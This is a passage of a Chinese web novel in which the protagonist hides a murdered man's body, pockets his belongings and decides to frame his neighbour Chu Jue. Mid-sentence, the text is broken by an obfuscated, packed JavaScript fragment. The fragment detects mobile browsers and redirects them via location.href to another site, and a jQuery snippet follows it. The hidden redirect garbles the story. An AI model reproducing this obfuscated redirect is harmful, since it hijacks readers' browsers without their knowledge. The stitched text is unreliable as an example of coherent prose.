只能尽量伪装尸体,延长尸体被发现的时间,然后再另外想办法。 能不能在这期间嫁祸另一个凶手,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955242|192492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种方式把自己摘出去呢? 卫极画脑海中非常缺德地冒出了邻居少年楚决的影子。 楚决身上有血腥味,大概率是个杀人犯。这种杀人犯住在自己隔壁,就像颗随时会引爆的地雷,卫极画总感觉慎得慌。 防人之心不可无,害人之心也得有。卧榻之侧,岂容他人安睡?不解决掉潜在危机,何以高枕无忧? 假如把胖老板的死嫁祸到楚决头上,既能脱罪,又能摆脱潜在危险。简直是完美的问题解决方式! 卫极画恶向胆边生,越想越觉得用栽赃嫁祸的方式排除异己好极了。 不过……会不会不够稳妥呢? 书中并没有邻居少年“楚决”这个角色。卫极画没有写相关的人物小传,不了解楚决的具体性格和身份、行为轨迹,心里总有些顾虑。 他不太擅长应付容易脱离掌控的事物和未知的东西。 假如楚决逃脱警察追捕,发现是他在背后搞鬼,是否会引火上身? 不管了……到时候再说吧。隔壁住着个隐藏杀人魔太隔应人,就选楚决! 卫极画在胖老板尸体的衣兜里收刮了一遍,一包廉价的烟、一个昂贵的金属打火机、零散的几张零钱。 他顺手全揣自己兜里,才把胖老板的尸体塞进小巷中的垃圾箱,用堆积的垃圾袋暂时将尸体隐藏起来。 完成这一切后,卫极画左右环视,发现头顶上方有一户人家在私接的电线上晾了衣服,便翻上二楼借了件外套。 楼层不高,凭空翻上去对于卫极画来说并不算太困难。 抽出两张整钞压在这户人家窗台的花盆下,穿上“借”来的外套挡住自己身上的血迹,卫极画双手插兜,若无其事地走出了小巷。 轰隆—— 恰逢此时,天空中响起闷雷。 雨,又开始下了…… 街上的行人匆匆找地方避雨或回家,卫极画怕淋了雨再次被污染,又不想去那些亮着暧昧霓虹的发廊或舞厅,赶紧走进了街角一座无人的公共电话亭。 街边店铺微微有些失真的收音机从耳边掠过: [尸体再现!旧城区“开膛手”再次作案!请广大市民避免独自出门,注意安全。] 雨幕灰蒙,随着雨势渐大,街道逐渐空无一人。 一双阴鸷的眼睛穿透朦胧雨幕,定定地注视着电话亭中的卫极画。